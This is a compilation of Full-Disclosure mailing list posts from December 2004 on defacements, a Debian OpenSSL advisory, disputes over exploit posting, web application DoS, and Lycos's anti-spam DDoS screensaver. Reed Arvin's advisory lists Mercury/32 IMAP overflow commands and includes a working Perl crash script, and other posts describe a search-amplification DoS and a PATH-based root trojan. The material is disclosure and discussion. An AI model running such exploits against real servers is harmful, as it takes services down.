From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Knarr, Joshua
Sent: Wednesday, December 01, 2004 9:59 AM
To: mikx; full-disclosurelists.netsys.com
Subject: RE: [Full-Disclosure] amazon security contact

Heh, would this have anything to do with the recent TARGET defacements?

http://www.target.com/gp/detail.html/601-1627735-4860151?_encoding=UTF8&
asin=B000005D70

>-----Original Message-----
>From: full-disclosure-adminlists.netsys.com
>[mailto:full-disclosure-adminlists.netsys.com]
>Sent: Wednesday, December 01, 2004 7:21 AM
>To: full-disclosurelists.netsys.com
>Subject: [Full-Disclosure] amazon security contact
>
>Hello,
>
>does anybody know an email alias at amazon.com to report a
>vulnerability?
>
>I tried to report multiple XSS issues to their customer
>support during the
>last few days, but got no feedback at all.
>
>mikx
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] amazon security contact

From: Constantin Hofstetter (constantin.hofstettergmail.com)
Date: Wed Dec 01 2004 - 10:38:37 CST

I like that Target "Blowjob" defacement...

On Wed, 1 Dec 2004 15:58:43 +0100, Knarr, Joshua <joshua.knarrsap.com> wrote:
>
> Heh, would this have anything to do with the recent TARGET defacements?
>
> http://www.target.com/gp/detail.html/601-1627735-4860151?_encoding=UTF8&
> asin=B000005D70
>
>
>
> >-----Original Message-----
> >From: full-disclosure-adminlists.netsys.com
> >[mailto:full-disclosure-adminlists.netsys.com]
> >Sent: Wednesday, December 01, 2004 7:21 AM
> >To: full-disclosurelists.netsys.com
> >Subject: [Full-Disclosure] amazon security contact
> >
> >Hello,
> >
> >does anybody know an email alias at amazon.com to report a
> >vulnerability?
> >
> >I tried to report multiple XSS issues to their customer
> >support during the
> >last few days, but got no feedback at all.
> >
> >mikx
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

--
Constantin Hofstetter
http://www.consti.de
Constantin.Hofstettergmail.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Fwd: RE: [Full-Disclosure] Remote Mercury32 Imap exploit]

From: ports (mlportsonline.net)
Date: Wed Dec 01 2004 - 11:20:22 CST

John wrote:
> This message was sent to me off list.

Maybe you can show us some more private mails you've got?

> JohnH

John who?

ports

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [SECURITY] [DSA 603-1] New openssl packages fix insecure temporary file creation

debian-security-announcelists.debian.org
Date: Wed Dec 01 2004 - 10:50:18 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 603-1 securitydebian.org
http://www.debian.org/security/ Martin Schulze
December 1st, 2004 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : openssl
Vulnerability : insecure temporary file
Problem-Type : local/remote
Debian-specific: no
CVE ID : CAN-2004-0975

Trustix developers discovered insecure temporary file creation in a
supplemental script (der_chop) of the openssl package which may allow
local users to overwrite files via a symlink attack.

For the stable distribution (woody) this problem has been fixed in
version 0.9.6c-2.woody.7.

For the unstable distribution (sid) this problem has been fixed in
version 0.9.7e-1.

We recommend that you upgrade your openssl package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7.dsc
      Size/MD5 checksum: 632 602dbc2dbc2ca2030c00f2fe4974b2ff
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7.diff.gz
      Size/MD5 checksum: 45284 9099375084f05be1f16e29426e206c6c
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c.orig.tar.gz
      Size/MD5 checksum: 2153980 c8261d93317635d56df55650c6aeb3dc

  Architecture independent components:

    http://security.debian.org/pool/updates/main/o/openssl/ssleay_0.9.6c-2.woody.7_all.deb
      Size/MD5 checksum: 984 a582c62beb11f42b194720a4aca778fb

  Alpha architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_alpha.deb
      Size/MD5 checksum: 1551570 e292eefea2c0377a724c568798674ad8
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_alpha.deb
      Size/MD5 checksum: 571464 95cad9ee036e17185570d296e20d9080
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_alpha.deb
      Size/MD5 checksum: 736594 96b53586706663281cfe5dfba0e79274

  ARM architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_arm.deb
      Size/MD5 checksum: 1358204 7906fdccc0e785b27a792cb58ad8d974
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_arm.deb
      Size/MD5 checksum: 474270 95c0d657bf8dc54347a721cc159839b3
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_arm.deb
      Size/MD5 checksum: 729984 13a17525bb5ee02f710e576627cdaa29

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_i386.deb
      Size/MD5 checksum: 1290528 54b46bf19ba1543a2e10f02a27e81860
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_i386.deb
      Size/MD5 checksum: 461966 b5380c072591fc7601d1675983ac2c58
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_i386.deb
      Size/MD5 checksum: 723366 32dd684d4d6e4d77882cbfd5e26e5a16

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_ia64.deb
      Size/MD5 checksum: 1615432 f6d3a4ad7c86c560ba3bf1cf457fc4f3
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_ia64.deb
      Size/MD5 checksum: 711282 6923b5f064948242ce97758b3d870654
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_ia64.deb
      Size/MD5 checksum: 763686 4395eaf2e524871f9964d0e06fb11342

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_hppa.deb
      Size/MD5 checksum: 1435266 bd54f26da83b155d9d7277880cb41524
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_hppa.deb
      Size/MD5 checksum: 565130 a8aa7b3edddf38069acb76132f8f5339
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_hppa.deb
      Size/MD5 checksum: 742112 1602fe86f48babafc1b9cfde5a0566de

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_m68k.deb
      Size/MD5 checksum: 1266658 9542b5977cf79e3b5c720b7de1c9978b
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_m68k.deb
      Size/MD5 checksum: 450852 f25d15907a2a8967772065c9ee2190b9
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_m68k.deb
      Size/MD5 checksum: 720638 0e1eadb4432cbfec7305ae1719eea4d5

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_mips.deb
      Size/MD5 checksum: 1416416 e4b572714439992513818d5d184d4e37
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_mips.deb
      Size/MD5 checksum: 483884 3b3d29ce161764d3f96747c4c519302a
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_mips.deb
      Size/MD5 checksum: 718050 664bc23cd63398861ba6d4742c8d1865

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_mipsel.deb
      Size/MD5 checksum: 1410908 227926332c25764953e7ba5561367208
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_mipsel.deb
      Size/MD5 checksum: 476920 e7c92808e7307dbf0e932df875b2b9d0
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_mipsel.deb
      Size/MD5 checksum: 717396 1e40242efebc9c17eb5518f727870b6a

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_powerpc.deb
      Size/MD5 checksum: 1387080 791d8455a44c7525cddc9da128a4c952
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_powerpc.deb
      Size/MD5 checksum: 502688 fdaedc1290dd7a3e7f9f85f2d347407e
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_powerpc.deb
      Size/MD5 checksum: 726936 a162e3135ac2da498d997d0cad134334

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_s390.deb
      Size/MD5 checksum: 1326728 0ebfdd2e503767ffcbe81a27e4c9fdcf
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_s390.deb
      Size/MD5 checksum: 510694 795765b236ba20e08a341d4790059915
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_s390.deb
      Size/MD5 checksum: 731846 286d0fd35b8f4644bf5fe832ea9e3a32

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.7_sparc.deb
      Size/MD5 checksum: 1344486 e6cb9a98d11088e67dc5e9c9e69914eb
    http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.7_sparc.deb
      Size/MD5 checksum: 484982 81b108c09f20effa6bee11cf5cf9d76c
    http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.7_sparc.deb
      Size/MD5 checksum: 737436 3404c0b661a45984755c53897b5e58cc

  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBrfZKW5ql+IAeqTIRAjAeAJ9l38QgM0nU1WENUmD/bO5cMT6vxACfc2tl
6nWLGQvqjedk4d97VoQvqN8=
=HmyX
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] amazon security contact

From: Anders Langworthy (hadespsilanthropy.org)
Date: Wed Dec 01 2004 - 11:50:32 CST

Michael Evanchik wrote:
> Too bad I cant add this too my cart and complain to customer service I am
> not receiving my item

Well, I think you could if you really wanted to. I do believe there is
a legitimate album (though probably a bad one) named "Blowjob", by a
group called "Sober" retailing from Target for $9.99 :p

It's still worth a chuckle.

original link:
[http://www.target.com/gp/detail.html/601-1627735-4860151?_encoding=UTF8&
asin=B000005D70]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Remote Mercury32 Imap exploit

From: JxT (jxt.listsgmail.com)
Date: Wed Dec 01 2004 - 11:11:05 CST

I do believe script kiddies generate revenue for most security
professionals/companies. So your point is a mute one. If you'd like
to step down off your almighty white hat throne and get in the real
world you might realize that. Everyone is always quick to complain
about security this, security that. Yet you need the bad guy to keep
the good guy working. No threat ? No paycheck ?
 

blah blah yack yack... flame away >/dev/toaster

On Wed, 1 Dec 2004 13:40:24 +0100, barabas mutsonline <barbsiegmail.com> wrote:
> JohnH,
>
> Your l33t skillz amaze us. It's very smart of you to post a working
> exploit here. More of your customers will require your help and
> scriptkiddies will generate revenue for (blackhat) companies like
> yours.
> In fact you are right, it's very easy to find vulnerabilities...the
> really hard part is to write shellcode. DAmn, I've been looking all
> over the net to find some small universal portbinding shellcode, but
> I'm just not smart enough.
> I guess you need NSA skillz for that .
> Thanks, now I can rip your shellcode and replace all those lame
> calc.exe shellcodes ;-)
>
> RESPTEC!
>
> Barabas
>
>
>
> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of JohnH
> Sent: Tuesday, November 30, 2004 7:38 AM
> To: full-disclosurelists.netsys.com
> Cc: bugtraqsecurityfocus.com
> Subject: [Full-Disclosure] Remote Mercury32 Imap exploit
>
> Here you go guys. A fully working Remote Mercury32 Imap exploit. This will
> work on any windows OS. 100% universal.
>
> Only reason I am posting this is because im sick of seeing non working
> exploits released and WHITEHAT.CO.IL likes to do this.
>
> Cheers,
>
> Johnhsecnetops.com
> VIST: www.secnetops.com
>
> <Super l33t sploit h3r3>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] amazon security contact

From: joe smith (joejoesmith.homeip.net)
Date: Wed Dec 01 2004 - 10:59:52 CST

search for B000005D70 on amazon.com. Opps, Targets forgot to add
description to the item.

http://www.amazon.com/exec/obidos/ASIN/B000005D70/

or you can get drug and hooker.
http://www.target.com/gp/detail.html/?%5Fencoding=UTF8&asin=0823916839
<http://www.target.com/gp/detail.html/?%5Fencoding=UTF8&asin=B00000I1F6>
http://www.target.com/gp/detail.html/?%5Fencoding=UTF8&asin=B00000I1F6
<http://www.target.com/gp/detail.html/?%5Fencoding=UTF8&asin=B00000I1F6>
Knarr, Joshua wrote:

>Heh, would this have anything to do with the recent TARGET defacements?
>
>http://www.target.com/gp/detail.html/601-1627735-4860151?_encoding=UTF8&
>asin=B000005D70
>
>
>
>>-----Original Message-----
>>From: full-disclosure-adminlists.netsys.com
>>[mailto:full-disclosure-adminlists.netsys.com]
>>Sent: Wednesday, December 01, 2004 7:21 AM
>>To: full-disclosurelists.netsys.com
>>Subject: [Full-Disclosure] amazon security contact
>>
>>Hello,
>>
>>does anybody know an email alias at amazon.com to report a
>>vulnerability?
>>
>>I tried to report multiple XSS issues to their customer
>>support during the
>>last few days, but got no feedback at all.
>>
>>mikx
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
>>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Web Application DoS

From: Goetz Von Berlichingen (goetzvonberlichingencomcast.net)
Date: Wed Dec 01 2004 - 11:46:58 CST

kcope wrote:
> +-----------------------------------+
> | Web Application Denial of Service |
> +-----------------------------------+
> There is a denial of service condition not in a specific software product
> but in several web based applications.
> The idea is to make a rather small HTTP request and get a big amount of
> data back from the HTTP daemon.

   Congratulations, you've discovered an application layer (Layer 7 for
the OSI fans) denial of service attack. That first sentence is somewhat
sarcastic, but this is not a new discovery. Now you need to generalize
this to other applications.
   What about databases (although you implied one in your example of a
web search application)? Even without a web front-end, databases are
particularly susceptible to these. If one understands details such as
space allocation and indexing formulas of a database, one can make a
single query use up a totally disproportionate amount of resources.
   What about GUIs? Good displays require a lot of math to achieve
those wonderful effects we all love.
   What about distributed applications? Can you pretend to be a client
and force the server to thrash? How about pretending to be the server
and making the client use up the computer's memory or processing power?
   Have fun but do it to increase the surety of systems - not for your
own profit or amusement.

Goetz

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment

From: Andrew Silva (andyromnet.com)
Date: Wed Dec 01 2004 - 11:31:37 CST

well put.

raza wrote:

>Well as a security professional I can testify that the sites you want
>closed down ie reference to zone-h etc.. Are a valued source of
>knowledge!
>
>Obviously your not plugged into security and as such use these groups to
>talk Shi* and justify your views of closing IRC Channels.
>
>Thankfully your not in government and btw , not all readers on this list
>are in the US , I am from the UK and its clear to me that you don't
>understand the concept of freedom of information !
>
>r
>
>-----Original Message-----
>From: full-disclosure-adminlists.netsys.com
>[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Bruce
>Ediger
>Sent: 17 November 2004 20:29
>To: full-disclosurelists.netsys.com
>Subject: Re: FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment
>
>On Wed, 17 Nov 2004, n3td3v wrote:
>
> ...
>
>
>
>>>If I was in gov, I would shut a site down that looks remotely
>>>hax0rish, even if they've done nothing wrong. All these crews and
>>>hacker groups, fk them all. The net needs zero tollerence with
>>>
>>>
>online
>
>
>>>crime. Govs should have the authority to close anything done because
>>>they feel like it, without needing to prove shit.
>>>
>>>I would even close IRC channels. Hackphreak on undernet looks
>>>harmless, but fk that. Close it anyway, its time to get a tighter
>>>
>>>
>grip
>
>
>>>on things.
>>>
>>>
> ...
>
>
>>Same for zone-h.org, close the crap down.. f**k anything that looks
>>remotely hax0rish.
>>
>>
>
>Unfortunately, the US Government operates under the auspices of a small
>document called "The Constitution", and a little concept called "Common
>Law".
>Now, I know that you trendy kids call things like that "quaint" (I
>believe
>that's what our new Attorney general calls things like the Geneva
>Convention.
>See
>http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2004/06/13/wguan13.
>xml&sSheet=/news/2004/06/13/ixworld.html)
>but fortunately for the rest of us, "presumption of innocence" remains
>the standard of the land.
>
>If you small-minded totalitarians don't like that sacred principle, get
>the hell out of the US. We don't need your kind. Move to some Banana
>Republic where they change the rules all the time in the face of 1000
>years of tradition and philosophy and the Blood of Patriots who died to
>protect these rights.
>
>"Zero tollerence". What will these doofuses think of next? I bet they
>start up a cult of personality around the nation's leader, including a
>new salute borrowed from the Romans.
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Lycos Europe organizing a DDoS attack against spammers

From: Kevin (kkadowgmail.com)
Date: Wed Dec 01 2004 - 12:47:05 CST

On Tue, 30 Nov 2004 13:38:31 +0100 (CET), Feher Tamas
<etomcatfreemail.hu> wrote:
> Lycos Europe organizing a DDoS attack against spammers
>
> Lycos Europe has started organizing a distributed
> denial-of-service attack against web sites run by spammers.
>
> Lycos, via its makelovenotspam.com website,
> is offering a free screensaver for download.
> The screensavers make constant http requests to spam websites.

Can anybody provide pointers on how to detect this traffic
by reviewing squid proxy logs?

I'd guess that at least a few of our (thousands of) users will install
"makelovenotspam", but lacking the authority to lock down
or examine desktops, I'm limited to reviewing access logs after the
fact to track down offenders.

Thanks,

Kevin Kadow

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] RE: Isecom.org ideahamster.org and the hackerhighschool.org

From: Hans Ulrich Niedermann (hunhushmail.com)
Date: Wed Dec 01 2004 - 13:12:41 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>On Tue, 30 Nov 2004 15:24:22 -0800 robertdyadsecurity.com wrote:
>Hehe .. wouldn't it be fun if we all could just make believe that
>things really happened? It certainly would be a lot easier that
>way.

Well, you are rigth, all of this story is fake, isecom.org
ideahamster.org and the hackerhighschool.org were not owned. Was
just a joke.

Also me, im fake too.

So drop this mails

The truth is out there - Fox Mulder
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkGuGA4ACgkQTiM6SdHdYBwe2QCfZ4485x/AzzeZ4Se4fRtyED6Nc4EA
oK3tib0WUS6bWsEa8skMtffPJ3Qe
=ZHIz
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about-affiliate?l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Lycos Europe organizing a DDoS attack against spammers

From: Andrew Smith (stfunubgmail.com)
Date: Wed Dec 01 2004 - 13:33:14 CST

A get to http://makelovenotspam.com/intl/static/ is what the screen
saver does initially.
I can not see this lasting long;
1) Whatever they say, they're breaking the law
2) They're DDoSing spammers, the people with millions of bots /
gigabits of bandwidth under their control.. we can see now that the
spammers have alread retaliated. I haven't been able to access
makelovenotspam.com for days.

On Wed, 1 Dec 2004 12:47:05 -0600, Kevin <kkadowgmail.com> wrote:
> On Tue, 30 Nov 2004 13:38:31 +0100 (CET), Feher Tamas
> <etomcatfreemail.hu> wrote:
> > Lycos Europe organizing a DDoS attack against spammers
> >
> > Lycos Europe has started organizing a distributed
> > denial-of-service attack against web sites run by spammers.
> >
> > Lycos, via its makelovenotspam.com website,
> > is offering a free screensaver for download.
> > The screensavers make constant http requests to spam websites.
>
> Can anybody provide pointers on how to detect this traffic
> by reviewing squid proxy logs?
>
> I'd guess that at least a few of our (thousands of) users will install
> "makelovenotspam", but lacking the authority to lock down
> or examine desktops, I'm limited to reviewing access logs after the
> fact to track down offenders.
>
> Thanks,
>
> Kevin Kadow
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

--
zxy_rbt2

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Fwd: Kill Lycos Not Spam

From: n3td3v (xploitablegmail.com)
Date: Wed Dec 01 2004 - 14:18:11 CST

Dear Yahoo

Surely theres a way for hax0rs to exploit it to make it attack yahoo?
I appeal for you to partnership with Microsoft and others like you do
for other spam stuff, to ask Lycos EU to stop doing it. Its totally
abuseable.

By the way, I noticed Yahoo! homepage was slower for me. I don't know
if this is you or weather its my cache or network being slow.

Thanks ;-)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Old LS Trojan?

From: David S. Morgan (captkrasearthlink.net)
Date: Wed Dec 01 2004 - 14:11:46 CST

Hey all,

I am looking for an old LS trojan, with trojan being a misnomer. Essentially, the scinario is that the admin (root) has a . (dot) in his path. The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password. The file then removes itself and does the real version of ls.

Does anyone remember this one, and have the ls script anywhere? I would like to use it in a demonstration. I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.

Dave Morgan

David S. Morgan CISSP, CCNP
aka: captkrasearthlink.net

"When the winds of change blow hard enough, even the most tiny object
can become a deadly projectile"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Web Application DoS

From: kcope (kingcopegmx.net)
Date: Wed Dec 01 2004 - 14:50:16 CST

> Congratulations, you've discovered an application layer (Layer 7 for
>the OSI fans) denial of service attack. That first sentence is somewhat
>sarcastic, but this is not a new discovery. Now you need to generalize
>this to other applications.
> What about databases (although you implied one in your example of a
>web search application)? Even without a web front-end, databases are
>particularly susceptible to these. If one understands details such as
>space allocation and indexing formulas of a database, one can make a

I didn't say this would be anything new I'm sure it isn't, but
everyone is discussing about DDoS attacks with hundreds
and thousands of zombie bots which take servers down.
But it's that plain simple just find some big
website like newspaper, IT biz or whatever and go to the search
engine nearly every site owns one. And if your lucky you can just manipulate
the amount of results given back from the server to 1 zillion and type a
simple search string. If you repeat the request hundreds of times the site
is not available anymore. And if the search site is on the same server as
all other parts of the web presentation the company is going to have
trouble. I guess it's more a problem to the server to search the entire
database for results which runs the cpu on 100% but i don't really know.
It was just a very easy idea and works out of the box. Only for testing
purposes of course. The responsible of vulnerable sites should just limit
the number of results so the internet can live in love & harmony ;) haha

--
Geschenkt: 3 Monate GMX ProMail + 3 Top-Spielfilme auf DVD
++ Jetzt kostenlos testen http://www.gmx.net/de/go/mail ++

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Web Application DoS

From: Lachniet, Mark (mlachnietsequoianet.com)
Date: Wed Dec 01 2004 - 14:49:08 CST

> +-----------------------------------+
> | Web Application Denial of Service |
> +-----------------------------------+
> There is a denial of service condition not in a specific software
> product but in several web based applications.
> The idea is to make a rather small HTTP request and get a big amount
> of data back from the HTTP daemon.

Ummm... Duh...

BUT, it does raise an interesting problem from a design and testing
point of view. I do a lot of web application tests, many of them with
automated tools like SPI. In most cases, it is very easy to crash web
apps that rely on a database back end. In fact, it's a big problem when
it comes to testing production servers. Most small to medium web sites
just don't seem to take 15+ query threads at a time very well,
especially when you are doing complicated queries (10+ variables, etc.)

It is trivially easy to find (for example) a URL request that takes a
long time for the query to return (say, 10 seconds or more) and then
hammer it with a zillion requests using a simple script. Not only can
the database server platform get choked up with requests that it cannot
service, but in some cases you can use up all of your licenses too. You
might also use such a technique to mess up some logging systems if you
are lucky (ie, if it logs audit data to a database). This problem is
made worse by the fact that many folks don't use stand-alone database
servers for just their web applications, and instead get one "big"
database, and use it for a variety of purposes. In this case, you could
likely crash more than just the one web app.

If it were an IP network issue, I'd say to do some QoS, but is there a
good design equivalent of this commonly in use for n-tiered web
applications? (for example, building into the web application some
logic that maintains a state table of requests, and ensures that single
source IP doesn't get more than 1 database lookup thread, or something
similar). If there is some good example code for something like this,
I'd love to share it with my customers. This subject might also be a
good addition to the OWASP guide, which (while and excellent piece of
work) doesn't seem to cover much in the way of Denial of Service
prevention as far as I know.

Thanks,
Mark Lachniet

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.

From: Reed Arvin (reedarvingmail.com)
Date: Wed Dec 01 2004 - 15:16:50 CST

Summary:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003
(http://www.pmail.com/).

Details:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.
There are 14 vulnerable commands that can be used to cause buffer
overflows to occur. After a successful login to the mail server, if
any of these commands are used with an overly long argument the
application closes resulting in a denial of service. The commands and
approximate argument lengths are as follows:

EXAMINE A x 512 \r\n
SUBSCRIBE A x 512 \r\n
STATUS A x 512 \r\n
APPEND A x 512 \r\n
CHECK A x 512 \r\n
CLOSE A x 512 \r\n
EXPUNGE A x 512 \r\n
FETCH A x 512 \r\n
RENAME A x 768 \r\n
DELETE A x 768 \r\n
LIST A x 768 \r\n
SEARCH A x 768 \r\n
CREATE A x 1024 \r\n
UNSUBSCRIBE A x 1024 \r\n

Vulnerable Versions:
Mercury/32, v4.01a, Dec 8 2003

Solutions:
The vendor was notified of the issue. There was no response.

Exploit:
#===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
# Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "143",
                                    Proto => "TCP"))
{
        print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

        sleep(1);

        print $socket "0001 CHECK " . "A" x 512 . "\r\n";

        close($socket);

        sleep(1);

        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "143",
                                            Proto => "TCP"))
        {
                close($socket);

                print "failed!\n";
        }
        else
        {
                print "successful!\n";
        }
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)

All vulnerabilities discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)

RENAME overflow discovered by NoPh0bia noph0bia[at]lostspirits[dot]org
SELECT overflow discovered by JohnH JohnH[at]secnetops[dot]com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Old LS Trojan?

From: Kevin Finisterre (kf_listssecnetops.com)
